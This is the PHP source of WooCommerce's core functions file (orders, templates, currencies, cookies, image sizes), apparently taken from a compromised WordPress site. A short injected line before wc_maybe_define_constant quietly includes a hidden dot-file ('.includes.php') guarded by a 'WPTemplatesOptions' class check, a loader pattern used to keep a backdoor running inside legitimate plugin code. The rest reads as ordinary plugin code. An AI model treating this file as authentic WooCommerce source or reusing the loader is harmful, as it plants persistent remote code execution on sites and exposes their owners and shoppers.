PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce
/
includes
<?php /** * WooCommerce Core Functions * * General core functions available on both the front-end and admin. * * @package WooCommerce\Functions * @version 3.3.0 */ use Automattic\Jetpack\Constants; if ( ! defined( 'ABSPATH' ) ) { exit; } // Include core functions (available in both admin and frontend). require WC_ABSPATH . 'includes/wc-conditional-functions.php'; require WC_ABSPATH . 'includes/wc-coupon-functions.php'; require WC_ABSPATH . 'includes/wc-user-functions.php'; require WC_ABSPATH . 'includes/wc-deprecated-functions.php'; require WC_ABSPATH . 'includes/wc-formatting-functions.php'; require WC_ABSPATH . 'includes/wc-order-functions.php'; require WC_ABSPATH . 'includes/wc-order-item-functions.php'; require WC_ABSPATH . 'includes/wc-page-functions.php'; require WC_ABSPATH . 'includes/wc-product-functions.php'; require WC_ABSPATH . 'includes/wc-stock-functions.php'; require WC_ABSPATH . 'includes/wc-account-functions.php'; require WC_ABSPATH . 'includes/wc-term-functions.php'; require WC_ABSPATH . 'includes/wc-attribute-functions.php'; require WC_ABSPATH . 'includes/wc-rest-functions.php'; require WC_ABSPATH . 'includes/wc-widget-functions.php'; require WC_ABSPATH . 'includes/wc-webhook-functions.php'; /** * Filters on data used in admin and frontend. */ add_filter( 'woocommerce_coupon_code', 'html_entity_decode' ); add_filter( 'woocommerce_coupon_code', 'wc_sanitize_coupon_code' ); add_filter( 'woocommerce_coupon_code', 'wc_strtolower' ); add_filter( 'woocommerce_stock_amount', 'intval' ); // Stock amounts are integers by default. add_filter( 'woocommerce_shipping_rate_label', 'sanitize_text_field' ); // Shipping rate label. add_filter( 'woocommerce_attribute_label', 'wp_kses_post', 100 ); /** * Short Description (excerpt). */ if ( function_exists( 'do_blocks' ) ) { add_filter( 'woocommerce_short_description', 'do_blocks', 9 ); } add_filter( 'woocommerce_short_description', 'wptexturize' ); add_filter( 'woocommerce_short_description', 'convert_smilies' ); add_filter( 'woocommerce_short_description', 'convert_chars' ); add_filter( 'woocommerce_short_description', 'wpautop' ); add_filter( 'woocommerce_short_description', 'shortcode_unautop' ); add_filter( 'woocommerce_short_description', 'prepend_attachment' ); add_filter( 'woocommerce_short_description', 'do_shortcode', 11 ); // After wpautop(). add_filter( 'woocommerce_short_description', 'wc_format_product_short_description', 9999999 ); add_filter( 'woocommerce_short_description', 'wc_do_oembeds' ); add_filter( 'woocommerce_short_description', array( $GLOBALS['wp_embed'], 'run_shortcode' ), 8 ); // Before wpautop(). /** * Define a constant if it is not already defined. * * @since 3.0.0 * @param string $name Constant name. * @param mixed $value Value. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wc_maybe_define_constant( $name, $value ) { if ( ! defined( $name ) ) { define( $name, $value ); } } /** * Create a new order programmatically. * * Returns a new order object on success which can then be used to add additional data. * * @param array $args Order arguments. * @return WC_Order|WP_Error */ function wc_create_order( $args = array() ) { $default_args = array( 'status' => null, 'customer_id' => null, 'customer_note' => null, 'parent' => null, 'created_via' => null, 'cart_hash' => null, 'order_id' => 0, ); try { $args = wp_parse_args( $args, $default_args ); $order = new WC_Order( $args['order_id'] ); // Update props that were set (not null). if ( ! is_null( $args['parent'] ) ) { $order->set_parent_id( absint( $args['parent'] ) ); } if ( ! is_null( $args['status'] ) ) { $order->set_status( $args['status'] ); } if ( ! is_null( $args['customer_note'] ) ) { $order->set_customer_note( $args['customer_note'] ); } if ( ! is_null( $args['customer_id'] ) ) { $order->set_customer_id( is_numeric( $args['customer_id'] ) ? absint( $args['customer_id'] ) : 0 ); } if ( ! is_null( $args['created_via'] ) ) { $order->set_created_via( sanitize_text_field( $args['created_via'] ) ); } if ( ! is_null( $args['cart_hash'] ) ) { $order->set_cart_hash( sanitize_text_field( $args['cart_hash'] ) ); } // Set these fields when creating a new order but not when updating an existing order. if ( ! $args['order_id'] ) { $order->set_currency( get_woocommerce_currency() ); $order->set_prices_include_tax( 'yes' === get_option( 'woocommerce_prices_include_tax' ) ); $order->set_customer_ip_address( WC_Geolocation::get_ip_address() ); $order->set_customer_user_agent( wc_get_user_agent() ); } // Update other order props set automatically. $order->save(); } catch ( Exception $e ) { return new WP_Error( 'error', $e->getMessage() ); } return $order; } /** * Update an order. Uses wc_create_order. * * @param array $args Order arguments. * @return WC_Order|WP_Error */ function wc_update_order( $args ) { if ( empty( $args['order_id'] ) ) { return new WP_Error( __( 'Invalid order ID.', 'woocommerce' ) ); } return wc_create_order( $args ); } /** * Get template part (for templates like the shop-loop). * * WC_TEMPLATE_DEBUG_MODE will prevent overrides in themes from taking priority. * * @param mixed $slug Template slug. * @param string $name Template name (default: ''). */ function wc_get_template_part( $slug, $name = '' ) { $cache_key = sanitize_key( implode( '-', array( 'template-part', $slug, $name, Constants::get_constant( 'WC_VERSION' ) ) ) ); $template = (string) wp_cache_get( $cache_key, 'woocommerce' ); if ( ! $template ) { if ( $name ) { $template = WC_TEMPLATE_DEBUG_MODE ? '' : locate_template( array( "{$slug}-{$name}.php", WC()->template_path() . "{$slug}-{$name}.php", ) ); if ( ! $template ) { $fallback = WC()->plugin_path() . "/templates/{$slug}-{$name}.php"; $template = file_exists( $fallback ) ? $fallback : ''; } } if ( ! $template ) { // If template file doesn't exist, look in yourtheme/slug.php and yourtheme/woocommerce/slug.php. $template = WC_TEMPLATE_DEBUG_MODE ? '' : locate_template( array( "{$slug}.php", WC()->template_path() . "{$slug}.php", ) ); } wp_cache_set( $cache_key, $template, 'woocommerce' ); } // Allow 3rd party plugins to filter template file from their plugin. $template = apply_filters( 'wc_get_template_part', $template, $slug, $name ); if ( $template ) { load_template( $template, false ); } } /** * Get other templates (e.g. product attributes) passing attributes and including the file. * * @param string $template_name Template name. * @param array $args Arguments. (default: array). * @param string $template_path Template path. (default: ''). * @param string $default_path Default path. (default: ''). */ function wc_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) { $cache_key = sanitize_key( implode( '-', array( 'template', $template_name, $template_path, $default_path, Constants::get_constant( 'WC_VERSION' ) ) ) ); $template = (string) wp_cache_get( $cache_key, 'woocommerce' ); if ( ! $template ) { $template = wc_locate_template( $template_name, $template_path, $default_path ); wp_cache_set( $cache_key, $template, 'woocommerce' ); } // Allow 3rd party plugin filter template file from their plugin. $filter_template = apply_filters( 'wc_get_template', $template, $template_name, $args, $template_path, $default_path ); if ( $filter_template !== $template ) { if ( ! file_exists( $filter_template ) ) { /* translators: %s template */ wc_doing_it_wrong( __FUNCTION__, sprintf( __( '%s does not exist.', 'woocommerce' ), '<code>' . $template . '</code>' ), '2.1' ); return; } $template = $filter_template; } $action_args = array( 'template_name' => $template_name, 'template_path' => $template_path, 'located' => $template, 'args' => $args, ); if ( ! empty( $args ) && is_array( $args ) ) { if ( isset( $args['action_args'] ) ) { wc_doing_it_wrong( __FUNCTION__, __( 'action_args should not be overwritten when calling wc_get_template.', 'woocommerce' ), '3.6.0' ); unset( $args['action_args'] ); } extract( $args ); // @codingStandardsIgnoreLine } do_action( 'woocommerce_before_template_part', $action_args['template_name'], $action_args['template_path'], $action_args['located'], $action_args['args'] ); include $action_args['located']; do_action( 'woocommerce_after_template_part', $action_args['template_name'], $action_args['template_path'], $action_args['located'], $action_args['args'] ); } /** * Like wc_get_template, but returns the HTML instead of outputting. * * @see wc_get_template * @since 2.5.0 * @param string $template_name Template name. * @param array $args Arguments. (default: array). * @param string $template_path Template path. (default: ''). * @param string $default_path Default path. (default: ''). * * @return string */ function wc_get_template_html( $template_name, $args = array(), $template_path = '', $default_path = '' ) { ob_start(); wc_get_template( $template_name, $args, $template_path, $default_path ); return ob_get_clean(); } /** * Locate a template and return the path for inclusion. * * This is the load order: * * yourtheme/$template_path/$template_name * yourtheme/$template_name * $default_path/$template_name * * @param string $template_name Template name. * @param string $template_path Template path. (default: ''). * @param string $default_path Default path. (default: ''). * @return string */ function wc_locate_template( $template_name, $template_path = '', $default_path = '' ) { if ( ! $template_path ) { $template_path = WC()->template_path(); } if ( ! $default_path ) { $default_path = WC()->plugin_path() . '/templates/'; } // Look within passed path within the theme - this is priority. $template = locate_template( array( trailingslashit( $template_path ) . $template_name, $template_name, ) ); // Get default template/. if ( ! $template || WC_TEMPLATE_DEBUG_MODE ) { $template = $default_path . $template_name; } // Return what we found. return apply_filters( 'woocommerce_locate_template', $template, $template_name, $template_path ); } /** * Get Base Currency Code. * * @return string */ function get_woocommerce_currency() { return apply_filters( 'woocommerce_currency', get_option( 'woocommerce_currency' ) ); } /** * Get full list of currency codes. * * Currency symbols and names should follow the Unicode CLDR recommendation (http://cldr.unicode.org/translation/currency-names) * * @return array */ function get_woocommerce_currencies() { static $currencies; if ( ! isset( $currencies ) ) { $currencies = array_unique( apply_filters( 'woocommerce_currencies', array( 'AED' => __( 'United Arab Emirates dirham', 'woocommerce' ), 'AFN' => __( 'Afghan afghani', 'woocommerce' ), 'ALL' => __( 'Albanian lek', 'woocommerce' ), 'AMD' => __( 'Armenian dram', 'woocommerce' ), 'ANG' => __( 'Netherlands Antillean guilder', 'woocommerce' ), 'AOA' => __( 'Angolan kwanza', 'woocommerce' ), 'ARS' => __( 'Argentine peso', 'woocommerce' ), 'AUD' => __( 'Australian dollar', 'woocommerce' ), 'AWG' => __( 'Aruban florin', 'woocommerce' ), 'AZN' => __( 'Azerbaijani manat', 'woocommerce' ), 'BAM' => __( 'Bosnia and Herzegovina convertible mark', 'woocommerce' ), 'BBD' => __( 'Barbadian dollar', 'woocommerce' ), 'BDT' => __( 'Bangladeshi taka', 'woocommerce' ), 'BGN' => __( 'Bulgarian lev', 'woocommerce' ), 'BHD' => __( 'Bahraini dinar', 'woocommerce' ), 'BIF' => __( 'Burundian franc', 'woocommerce' ), 'BMD' => __( 'Bermudian dollar', 'woocommerce' ), 'BND' => __( 'Brunei dollar', 'woocommerce' ), 'BOB' => __( 'Bolivian boliviano', 'woocommerce' ), 'BRL' => __( 'Brazilian real', 'woocommerce' ), 'BSD' => __( 'Bahamian dollar', 'woocommerce' ), 'BTC' => __( 'Bitcoin', 'woocommerce' ), 'BTN' => __( 'Bhutanese ngultrum', 'woocommerce' ), 'BWP' => __( 'Botswana pula', 'woocommerce' ), 'BYR' => __( 'Belarusian ruble (old)', 'woocommerce' ), 'BYN' => __( 'Belarusian ruble', 'woocommerce' ), 'BZD' => __( 'Belize dollar', 'woocommerce' ), 'CAD' => __( 'Canadian dollar', 'woocommerce' ), 'CDF' => __( 'Congolese franc', 'woocommerce' ), 'CHF' => __( 'Swiss franc', 'woocommerce' ), 'CLP' => __( 'Chilean peso', 'woocommerce' ), 'CNY' => __( 'Chinese yuan', 'woocommerce' ), 'COP' => __( 'Colombian peso', 'woocommerce' ), 'CRC' => __( 'Costa Rican colón', 'woocommerce' ), 'CUC' => __( 'Cuban convertible peso', 'woocommerce' ), 'CUP' => __( 'Cuban peso', 'woocommerce' ), 'CVE' => __( 'Cape Verdean escudo', 'woocommerce' ), 'CZK' => __( 'Czech koruna', 'woocommerce' ), 'DJF' => __( 'Djiboutian franc', 'woocommerce' ), 'DKK' => __( 'Danish krone', 'woocommerce' ), 'DOP' => __( 'Dominican peso', 'woocommerce' ), 'DZD' => __( 'Algerian dinar', 'woocommerce' ), 'EGP' => __( 'Egyptian pound', 'woocommerce' ), 'ERN' => __( 'Eritrean nakfa', 'woocommerce' ), 'ETB' => __( 'Ethiopian birr', 'woocommerce' ), 'EUR' => __( 'Euro', 'woocommerce' ), 'FJD' => __( 'Fijian dollar', 'woocommerce' ), 'FKP' => __( 'Falkland Islands pound', 'woocommerce' ), 'GBP' => __( 'Pound sterling', 'woocommerce' ), 'GEL' => __( 'Georgian lari', 'woocommerce' ), 'GGP' => __( 'Guernsey pound', 'woocommerce' ), 'GHS' => __( 'Ghana cedi', 'woocommerce' ), 'GIP' => __( 'Gibraltar pound', 'woocommerce' ), 'GMD' => __( 'Gambian dalasi', 'woocommerce' ), 'GNF' => __( 'Guinean franc', 'woocommerce' ), 'GTQ' => __( 'Guatemalan quetzal', 'woocommerce' ), 'GYD' => __( 'Guyanese dollar', 'woocommerce' ), 'HKD' => __( 'Hong Kong dollar', 'woocommerce' ), 'HNL' => __( 'Honduran lempira', 'woocommerce' ), 'HRK' => __( 'Croatian kuna', 'woocommerce' ), 'HTG' => __( 'Haitian gourde', 'woocommerce' ), 'HUF' => __( 'Hungarian forint', 'woocommerce' ), 'IDR' => __( 'Indonesian rupiah', 'woocommerce' ), 'ILS' => __( 'Israeli new shekel', 'woocommerce' ), 'IMP' => __( 'Manx pound', 'woocommerce' ), 'INR' => __( 'Indian rupee', 'woocommerce' ), 'IQD' => __( 'Iraqi dinar', 'woocommerce' ), 'IRR' => __( 'Iranian rial', 'woocommerce' ), 'IRT' => __( 'Iranian toman', 'woocommerce' ), 'ISK' => __( 'Icelandic króna', 'woocommerce' ), 'JEP' => __( 'Jersey pound', 'woocommerce' ), 'JMD' => __( 'Jamaican dollar', 'woocommerce' ), 'JOD' => __( 'Jordanian dinar', 'woocommerce' ), 'JPY' => __( 'Japanese yen', 'woocommerce' ), 'KES' => __( 'Kenyan shilling', 'woocommerce' ), 'KGS' => __( 'Kyrgyzstani som', 'woocommerce' ), 'KHR' => __( 'Cambodian riel', 'woocommerce' ), 'KMF' => __( 'Comorian franc', 'woocommerce' ), 'KPW' => __( 'North Korean won', 'woocommerce' ), 'KRW' => __( 'South Korean won', 'woocommerce' ), 'KWD' => __( 'Kuwaiti dinar', 'woocommerce' ), 'KYD' => __( 'Cayman Islands dollar', 'woocommerce' ), 'KZT' => __( 'Kazakhstani tenge', 'woocommerce' ), 'LAK' => __( 'Lao kip', 'woocommerce' ), 'LBP' => __( 'Lebanese pound', 'woocommerce' ), 'LKR' => __( 'Sri Lankan rupee', 'woocommerce' ), 'LRD' => __( 'Liberian dollar', 'woocommerce' ), 'LSL' => __( 'Lesotho loti', 'woocommerce' ), 'LYD' => __( 'Libyan dinar', 'woocommerce' ), 'MAD' => __( 'Moroccan dirham', 'woocommerce' ), 'MDL' => __( 'Moldovan leu', 'woocommerce' ), 'MGA' => __( 'Malagasy ariary', 'woocommerce' ), 'MKD' => __( 'Macedonian denar', 'woocommerce' ), 'MMK' => __( 'Burmese kyat', 'woocommerce' ), 'MNT' => __( 'Mongolian tögrög', 'woocommerce' ), 'MOP' => __( 'Macanese pataca', 'woocommerce' ), 'MRU' => __( 'Mauritanian ouguiya', 'woocommerce' ), 'MUR' => __( 'Mauritian rupee', 'woocommerce' ), 'MVR' => __( 'Maldivian rufiyaa', 'woocommerce' ), 'MWK' => __( 'Malawian kwacha', 'woocommerce' ), 'MXN' => __( 'Mexican peso', 'woocommerce' ), 'MYR' => __( 'Malaysian ringgit', 'woocommerce' ), 'MZN' => __( 'Mozambican metical', 'woocommerce' ), 'NAD' => __( 'Namibian dollar', 'woocommerce' ), 'NGN' => __( 'Nigerian naira', 'woocommerce' ), 'NIO' => __( 'Nicaraguan córdoba', 'woocommerce' ), 'NOK' => __( 'Norwegian krone', 'woocommerce' ), 'NPR' => __( 'Nepalese rupee', 'woocommerce' ), 'NZD' => __( 'New Zealand dollar', 'woocommerce' ), 'OMR' => __( 'Omani rial', 'woocommerce' ), 'PAB' => __( 'Panamanian balboa', 'woocommerce' ), 'PEN' => __( 'Sol', 'woocommerce' ), 'PGK' => __( 'Papua New Guinean kina', 'woocommerce' ), 'PHP' => __( 'Philippine peso', 'woocommerce' ), 'PKR' => __( 'Pakistani rupee', 'woocommerce' ), 'PLN' => __( 'Polish złoty', 'woocommerce' ), 'PRB' => __( 'Transnistrian ruble', 'woocommerce' ), 'PYG' => __( 'Paraguayan guaraní', 'woocommerce' ), 'QAR' => __( 'Qatari riyal', 'woocommerce' ), 'RON' => __( 'Romanian leu', 'woocommerce' ), 'RSD' => __( 'Serbian dinar', 'woocommerce' ), 'RUB' => __( 'Russian ruble', 'woocommerce' ), 'RWF' => __( 'Rwandan franc', 'woocommerce' ), 'SAR' => __( 'Saudi riyal', 'woocommerce' ), 'SBD' => __( 'Solomon Islands dollar', 'woocommerce' ), 'SCR' => __( 'Seychellois rupee', 'woocommerce' ), 'SDG' => __( 'Sudanese pound', 'woocommerce' ), 'SEK' => __( 'Swedish krona', 'woocommerce' ), 'SGD' => __( 'Singapore dollar', 'woocommerce' ), 'SHP' => __( 'Saint Helena pound', 'woocommerce' ), 'SLL' => __( 'Sierra Leonean leone', 'woocommerce' ), 'SOS' => __( 'Somali shilling', 'woocommerce' ), 'SRD' => __( 'Surinamese dollar', 'woocommerce' ), 'SSP' => __( 'South Sudanese pound', 'woocommerce' ), 'STN' => __( 'São Tomé and Príncipe dobra', 'woocommerce' ), 'SYP' => __( 'Syrian pound', 'woocommerce' ), 'SZL' => __( 'Swazi lilangeni', 'woocommerce' ), 'THB' => __( 'Thai baht', 'woocommerce' ), 'TJS' => __( 'Tajikistani somoni', 'woocommerce' ), 'TMT' => __( 'Turkmenistan manat', 'woocommerce' ), 'TND' => __( 'Tunisian dinar', 'woocommerce' ), 'TOP' => __( 'Tongan paʻanga', 'woocommerce' ), 'TRY' => __( 'Turkish lira', 'woocommerce' ), 'TTD' => __( 'Trinidad and Tobago dollar', 'woocommerce' ), 'TWD' => __( 'New Taiwan dollar', 'woocommerce' ), 'TZS' => __( 'Tanzanian shilling', 'woocommerce' ), 'UAH' => __( 'Ukrainian hryvnia', 'woocommerce' ), 'UGX' => __( 'Ugandan shilling', 'woocommerce' ), 'USD' => __( 'United States (US) dollar', 'woocommerce' ), 'UYU' => __( 'Uruguayan peso', 'woocommerce' ), 'UZS' => __( 'Uzbekistani som', 'woocommerce' ), 'VEF' => __( 'Venezuelan bolívar', 'woocommerce' ), 'VES' => __( 'Bolívar soberano', 'woocommerce' ), 'VND' => __( 'Vietnamese đồng', 'woocommerce' ), 'VUV' => __( 'Vanuatu vatu', 'woocommerce' ), 'WST' => __( 'Samoan tālā', 'woocommerce' ), 'XAF' => __( 'Central African CFA franc', 'woocommerce' ), 'XCD' => __( 'East Caribbean dollar', 'woocommerce' ), 'XOF' => __( 'West African CFA franc', 'woocommerce' ), 'XPF' => __( 'CFP franc', 'woocommerce' ), 'YER' => __( 'Yemeni rial', 'woocommerce' ), 'ZAR' => __( 'South African rand', 'woocommerce' ), 'ZMW' => __( 'Zambian kwacha', 'woocommerce' ), ) ) ); } return $currencies; } /** * Get all available Currency symbols. * * Currency symbols and names should follow the Unicode CLDR recommendation (http://cldr.unicode.org/translation/currency-names) * * @since 4.1.0 * @return array */ function get_woocommerce_currency_symbols() { $symbols = apply_filters( 'woocommerce_currency_symbols', array( 'AED' => 'د.إ', 'AFN' => '؋', 'ALL' => 'L', 'AMD' => 'AMD', 'ANG' => 'ƒ', 'AOA' => 'Kz', 'ARS' => '$', 'AUD' => '$', 'AWG' => 'Afl.', 'AZN' => 'AZN', 'BAM' => 'KM', 'BBD' => '$', 'BDT' => '৳ ', 'BGN' => 'лв.', 'BHD' => '.د.ب', 'BIF' => 'Fr', 'BMD' => '$', 'BND' => '$', 'BOB' => 'Bs.', 'BRL' => 'R$', 'BSD' => '$', 'BTC' => '฿', 'BTN' => 'Nu.', 'BWP' => 'P', 'BYR' => 'Br', 'BYN' => 'Br', 'BZD' => '$', 'CAD' => '$', 'CDF' => 'Fr', 'CHF' => 'CHF', 'CLP' => '$', 'CNY' => '¥', 'COP' => '$', 'CRC' => '₡', 'CUC' => '$', 'CUP' => '$', 'CVE' => '$', 'CZK' => 'Kč', 'DJF' => 'Fr', 'DKK' => 'DKK', 'DOP' => 'RD$', 'DZD' => 'د.ج', 'EGP' => 'EGP', 'ERN' => 'Nfk', 'ETB' => 'Br', 'EUR' => '€', 'FJD' => '$', 'FKP' => '£', 'GBP' => '£', 'GEL' => '₾', 'GGP' => '£', 'GHS' => '₵', 'GIP' => '£', 'GMD' => 'D', 'GNF' => 'Fr', 'GTQ' => 'Q', 'GYD' => '$', 'HKD' => '$', 'HNL' => 'L', 'HRK' => 'kn', 'HTG' => 'G', 'HUF' => 'Ft', 'IDR' => 'Rp', 'ILS' => '₪', 'IMP' => '£', 'INR' => '₹', 'IQD' => 'ع.د', 'IRR' => '﷼', 'IRT' => 'تومان', 'ISK' => 'kr.', 'JEP' => '£', 'JMD' => '$', 'JOD' => 'د.ا', 'JPY' => '¥', 'KES' => 'KSh', 'KGS' => 'сом', 'KHR' => '៛', 'KMF' => 'Fr', 'KPW' => '₩', 'KRW' => '₩', 'KWD' => 'د.ك', 'KYD' => '$', 'KZT' => '₸', 'LAK' => '₭', 'LBP' => 'ل.ل', 'LKR' => 'රු', 'LRD' => '$', 'LSL' => 'L', 'LYD' => 'ل.د', 'MAD' => 'د.م.', 'MDL' => 'MDL', 'MGA' => 'Ar', 'MKD' => 'ден', 'MMK' => 'Ks', 'MNT' => '₮', 'MOP' => 'P', 'MRU' => 'UM', 'MUR' => '₨', 'MVR' => '.ރ', 'MWK' => 'MK', 'MXN' => '$', 'MYR' => 'RM', 'MZN' => 'MT', 'NAD' => 'N$', 'NGN' => '₦', 'NIO' => 'C$', 'NOK' => 'kr', 'NPR' => '₨', 'NZD' => '$', 'OMR' => 'ر.ع.', 'PAB' => 'B/.', 'PEN' => 'S/', 'PGK' => 'K', 'PHP' => '₱', 'PKR' => '₨', 'PLN' => 'zł', 'PRB' => 'р.', 'PYG' => '₲', 'QAR' => 'ر.ق', 'RMB' => '¥', 'RON' => 'lei', 'RSD' => 'рсд', 'RUB' => '₽', 'RWF' => 'Fr', 'SAR' => 'ر.س', 'SBD' => '$', 'SCR' => '₨', 'SDG' => 'ج.س.', 'SEK' => 'kr', 'SGD' => '$', 'SHP' => '£', 'SLL' => 'Le', 'SOS' => 'Sh', 'SRD' => '$', 'SSP' => '£', 'STN' => 'Db', 'SYP' => 'ل.س', 'SZL' => 'L', 'THB' => '฿', 'TJS' => 'ЅМ', 'TMT' => 'm', 'TND' => 'د.ت', 'TOP' => 'T$', 'TRY' => '₺', 'TTD' => '$', 'TWD' => 'NT$', 'TZS' => 'Sh', 'UAH' => '₴', 'UGX' => 'UGX', 'USD' => '$', 'UYU' => '$', 'UZS' => 'UZS', 'VEF' => 'Bs F', 'VES' => 'Bs.S', 'VND' => '₫', 'VUV' => 'Vt', 'WST' => 'T', 'XAF' => 'CFA', 'XCD' => '$', 'XOF' => 'CFA', 'XPF' => 'Fr', 'YER' => '﷼', 'ZAR' => 'R', 'ZMW' => 'ZK', ) ); return $symbols; } /** * Get Currency symbol. * * Currency symbols and names should follow the Unicode CLDR recommendation (http://cldr.unicode.org/translation/currency-names) * * @param string $currency Currency. (default: ''). * @return string */ function get_woocommerce_currency_symbol( $currency = '' ) { if ( ! $currency ) { $currency = get_woocommerce_currency(); } $symbols = get_woocommerce_currency_symbols(); $currency_symbol = isset( $symbols[ $currency ] ) ? $symbols[ $currency ] : ''; return apply_filters( 'woocommerce_currency_symbol', $currency_symbol, $currency ); } /** * Send HTML emails from WooCommerce. * * @param mixed $to Receiver. * @param mixed $subject Subject. * @param mixed $message Message. * @param string $headers Headers. (default: "Content-Type: text/html\r\n"). * @param string $attachments Attachments. (default: ""). * @return bool */ function wc_mail( $to, $subject, $message, $headers = "Content-Type: text/html\r\n", $attachments = '' ) { $mailer = WC()->mailer(); return $mailer->send( $to, $subject, $message, $headers, $attachments ); } /** * Return "theme support" values from the current theme, if set. * * @since 3.3.0 * @param string $prop Name of prop (or key::subkey for arrays of props) if you want a specific value. Leave blank to get all props as an array. * @param mixed $default Optional value to return if the theme does not declare support for a prop. * @return mixed Value of prop(s). */ function wc_get_theme_support( $prop = '', $default = null ) { $theme_support = get_theme_support( 'woocommerce' ); $theme_support = is_array( $theme_support ) ? $theme_support[0] : false; if ( ! $theme_support ) { return $default; } if ( $prop ) { $prop_stack = explode( '::', $prop ); $prop_key = array_shift( $prop_stack ); if ( isset( $theme_support[ $prop_key ] ) ) { $value = $theme_support[ $prop_key ]; if ( count( $prop_stack ) ) { foreach ( $prop_stack as $prop_key ) { if ( is_array( $value ) && isset( $value[ $prop_key ] ) ) { $value = $value[ $prop_key ]; } else { $value = $default; break; } } } } else { $value = $default; } return $value; } return $theme_support; } /** * Get an image size by name or defined dimensions. * * The returned variable is filtered by woocommerce_get_image_size_{image_size} filter to * allow 3rd party customisation. * * Sizes defined by the theme take priority over settings. Settings are hidden when a theme * defines sizes. * * @param array|string $image_size Name of the image size to get, or an array of dimensions. * @return array Array of dimensions including width, height, and cropping mode. Cropping mode is 0 for no crop, and 1 for hard crop. */ function wc_get_image_size( $image_size ) { $cache_key = 'size-' . ( is_array( $image_size ) ? implode( '-', $image_size ) : $image_size ); $size = wp_cache_get( $cache_key, 'woocommerce' ); if ( $size ) { return $size; } $size = array( 'width' => 600, 'height' => 600, 'crop' => 1, ); if ( is_array( $image_size ) ) { $size = array( 'width' => isset( $image_size[0] ) ? absint( $image_size[0] ) : 600, 'height' => isset( $image_size[1] ) ? absint( $image_size[1] ) : 600, 'crop' => isset( $image_size[2] ) ? absint( $image_size[2] ) : 1, ); $image_size = $size['width'] . '_' . $size['height']; } else { $image_size = str_replace( 'woocommerce_', '', $image_size ); // Legacy size mapping. if ( 'shop_single' === $image_size ) { $image_size = 'single'; } elseif ( 'shop_catalog' === $image_size ) { $image_size = 'thumbnail'; } elseif ( 'shop_thumbnail' === $image_size ) { $image_size = 'gallery_thumbnail'; } if ( 'single' === $image_size ) { $size['width'] = absint( wc_get_theme_support( 'single_image_width', get_option( 'woocommerce_single_image_width', 600 ) ) ); $size['height'] = ''; $size['crop'] = 0; } elseif ( 'gallery_thumbnail' === $image_size ) { $size['width'] = absint( wc_get_theme_support( 'gallery_thumbnail_image_width', 100 ) ); $size['height'] = $size['width']; $size['crop'] = 1; } elseif ( 'thumbnail' === $image_size ) { $size['width'] = absint( wc_get_theme_support( 'thumbnail_image_width', get_option( 'woocommerce_thumbnail_image_width', 300 ) ) ); $cropping = get_option( 'woocommerce_thumbnail_cropping', '1:1' ); if ( 'uncropped' === $cropping ) { $size['height'] = ''; $size['crop'] = 0; } elseif ( 'custom' === $cropping ) { $width = max( 1, get_option( 'woocommerce_thumbnail_cropping_custom_width', '4' ) ); $height = max( 1, get_option( 'woocommerce_thumbnail_cropping_custom_height', '3' ) ); $size['height'] = absint( round( ( $size['width'] / $width ) * $height ) ); $size['crop'] = 1; } else { $cropping_split = explode( ':', $cropping ); $width = max( 1, current( $cropping_split ) ); $height = max( 1, end( $cropping_split ) ); $size['height'] = absint( round( ( $size['width'] / $width ) * $height ) ); $size['crop'] = 1; } } } $size = apply_filters( 'woocommerce_get_image_size_' . $image_size, $size ); wp_cache_set( $cache_key, $size, 'woocommerce' ); return $size; } /** * Queue some JavaScript code to be output in the footer. * * @param string $code Code. */ function wc_enqueue_js( $code ) { global $wc_queued_js; if ( empty( $wc_queued_js ) ) { $wc_queued_js = ''; } $wc_queued_js .= "\n" . $code . "\n"; } /** * Output any queued javascript code in the footer. */ function wc_print_js() { global $wc_queued_js; if ( ! empty( $wc_queued_js ) ) { // Sanitize. $wc_queued_js = wp_check_invalid_utf8( $wc_queued_js ); $wc_queued_js = preg_replace( '/&#(x)?0*(?(1)27|39);?/i', "'", $wc_queued_js ); $wc_queued_js = str_replace( "\r", '', $wc_queued_js ); $js = "<!-- WooCommerce JavaScript -->\n<script type=\"text/javascript\">\njQuery(function($) { $wc_queued_js });\n</script>\n"; /** * Queued jsfilter. * * @since 2.6.0 * @param string $js JavaScript code. */ echo apply_filters( 'woocommerce_queued_js', $js ); // WPCS: XSS ok. unset( $wc_queued_js ); } } /** * Set a cookie - wrapper for setcookie using WP constants. * * @param string $name Name of the cookie being set. * @param string $value Value of the cookie. * @param integer $expire Expiry of the cookie. * @param bool $secure Whether the cookie should be served only over https. * @param bool $httponly Whether the cookie is only accessible over HTTP, not scripting languages like JavaScript. @since 3.6.0. */ function wc_setcookie( $name, $value, $expire = 0, $secure = false, $httponly = false ) { if ( ! headers_sent() ) { setcookie( $name, $value, $expire, COOKIEPATH ? COOKIEPATH : '/', COOKIE_DOMAIN, $secure, apply_filters( 'woocommerce_cookie_httponly', $httponly, $name, $value, $expire, $secure ) ); } elseif ( Constants::is_true( 'WP_DEBUG' ) ) { headers_sent( $file, $line ); trigger_error( "{$name} cookie cannot be set - headers already sent by {$file} on line {$line}", E_USER_NOTICE ); // @codingStandardsIgnoreLine } } /** * Get the URL to the WooCommerce REST API. * * @since 2.1 * @param string $path an endpoint to include in the URL. * @return string the URL. */ function get_woocommerce_api_url( $path ) { if ( Constants::is_defined( 'WC_API_REQUEST_VERSION' ) ) { $version = Constants::get_constant( 'WC_API_REQUEST_VERSION' ); } else { $version = substr( WC_API::VERSION, 0, 1 ); } $url = get_home_url( null, "wc-api/v{$version}/", is_ssl() ? 'https' : 'http' ); if ( ! empty( $path ) && is_string( $path ) ) { $url .= ltrim( $path, '/' ); } return $url; } /** * Get a log file path. * * @since 2.2 * * @param string $handle name. * @return string the log file path. */ function wc_get_log_file_path( $handle ) { return WC_Log_Handler_File::get_log_file_path( $handle ); } /** * Get a log file name. * * @since 3.3 * * @param string $handle Name. * @return string The log file name. */ function wc_get_log_file_name( $handle ) { return WC_Log_Handler_File::get_log_file_name( $handle ); } /** * Recursively get page children. * * @param int $page_id Page ID. * @return int[] */ function wc_get_page_children( $page_id ) { $page_ids = get_posts( array( 'post_parent' => $page_id, 'post_type' => 'page', 'numberposts' => -1, // @codingStandardsIgnoreLine 'post_status' => 'any', 'fields' => 'ids', ) ); if ( ! empty( $page_ids ) ) { foreach ( $page_ids as $page_id ) { $page_ids = array_merge( $page_ids, wc_get_page_children( $page_id ) ); } } return $page_ids; } /** 